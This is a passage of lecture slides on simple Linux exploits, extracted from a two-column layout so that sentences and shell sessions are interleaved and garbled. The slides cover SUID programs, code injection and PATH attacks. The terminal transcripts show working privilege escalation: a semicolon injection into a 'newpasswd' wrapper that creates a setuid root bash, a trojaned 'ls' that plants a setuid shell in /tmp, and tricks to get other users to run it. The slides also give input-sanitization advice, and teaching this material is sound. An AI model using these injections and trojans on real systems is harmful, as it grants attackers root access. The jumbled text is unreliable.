12_simple_exploits
12_simple_exploits
o Use Linux strings command to see strings in object code (e.g. [lynux@salmon exploits]$ which cat
/bin/cat
prompts, help messages, error messages, system functions linked
to, etc.) [lynux@salmon exploits]$ cp /bin/cat mycat; chmod u+s mycat: ls -l mycat
-rwsr-xr-x. 1 lynux lynux 48040 Sep 25 15:39 mycat
o Experiment with SUID/SGID programs to find & exploit
vulnerabilities: o Attacker gdome uses mycat to read lynux s secret file
• Use gleaned knowledge to craft diabolical inputs (for buffer [gdome@salmon exploits]$ cat secret.txt
overflows, code injection, etc.) cat: secret.txt: Permission denied
• Try boundary case and out-of-range inputs (e.g., negative [gdome@salmon exploits]$ ./mycat secret.txt
numbers, large numbers, empty string, very long strings) This is lynux's secret file
Simple Exploits 12-9 Simple Exploits 12-10
Code Injection: newpasswd Example part 3 Code Injection: newpasswd Example part 4
Now gdome tries out newpasswd: [gdome@localhost ~]$ newpasswd foo; cp /bin/bash ~gdome/
mine; chmod 4755 ~gdome/mine; echo bar"
[gdome@localhost ~]$ newpasswd foobar Executing /root/newpasswd.sh
Executing /root/newpasswd.sh foo
Only root can do that. Only root can do that.
The underlying /usr/bin/passwd fails because real UID gdome != root. [gdome@localhost ~]$ ls -l mine
But gdome can still do sneaky things! -rwsr-xr-x 1 root gdome 735004 2008-09-23 06:04 mine
[gdome@localhost ~]$ newpasswd foo; echo bar; echo baz" [gdome@localhost ~]$ ./mine -p
Executing /root/newpasswd.sh mine-3.2# whoami
foo root
bar
Only root can do that.
o If you must use user input directly, first either # Make suid shell in /tmp/foo
cp /bin/bash /tmp/foo
• Verify that input doesn t contain problematic parts:
chmod 4755 /tmp/foo
! semicolons in Linux commands
# Now do what ls does
! .. or starting / in filenames
exec ls "$@
! unmatched string quotes, angle brackets (HTML), parens
(Javascript)
Now gdome tries to trick other users into running
! Code fragments (HTML, Javascript, …) her ls program in place of regular ls.
• Sanitize input to remove problematic parts.
Path attacks are one way to do this.
Linux PATH variable: Prelude to An Exploit Overriding PATH with Absolute Pathnames
Linux uses PATH variable to find executables. (This variable is set/changed in Can override PATH mechanism by giving absolute pathname
~/.bash_profile, ~/.bashrc)
[lynux@localhost ~]$ which ~/bin/passwd
[lynux@localhost ~]$ echo $PATH
/usr/kerberos/bin:/usr/local/bin:/usr/bin:/bin:.:/home/lynux/bin:. ~/bin/passwd
Linux searches PATH in order to find an executable for a relative [gdome@localhost setuid]$ echo $PATH
(non-absolute) pathname. Can see what it finds with which command. /usr/kerberos/bin:/usr/local/bin:/bin:/usr/bin:/home/gdome/bin
[lynux@localhost ~]$ which passwd
/usr/bin/passwd [gdome@localhost setuid]$ which rootshell
[lynux@localhost ~]$ which ls /usr/bin/which: no rootshell in (/usr/kerberos/bin:/usr/local/bin:
/bin/ls /bin:/usr/bin:/home/gdome/bin)
[lynux@localhost ~]$ which findit
~/bin/findit [gdome@localhost setuid]$ which ./rootshell
[lynux@localhost ~]$ which rootshell ./rootshell
/usr/bin/which: no rootshell in (/usr/kerberos/bin:/usr/local/bin:/usr/bin:
/bin:.:/home/lynux/bin:.)
Nefarious gdome can trick lynux into running her trojaned ls program: [lynux@localhost ~]$ echo $PATH
/usr/kerberos/bin:/usr/local/bin:/usr/bin:/bin:/home/lynux/bin:.
[gdome@localhost ~]$ cp ~/bin/ls_trojan ~/public_html/ls
Then can still have trouble if lynux mistypes "ls" as "sl": [lynux@localhost bin]$ ln -s /usr/java/jdk1.6.0_06/bin/java java1.6
o Cross-site scripting
o Drive-by downloads
o Network attacks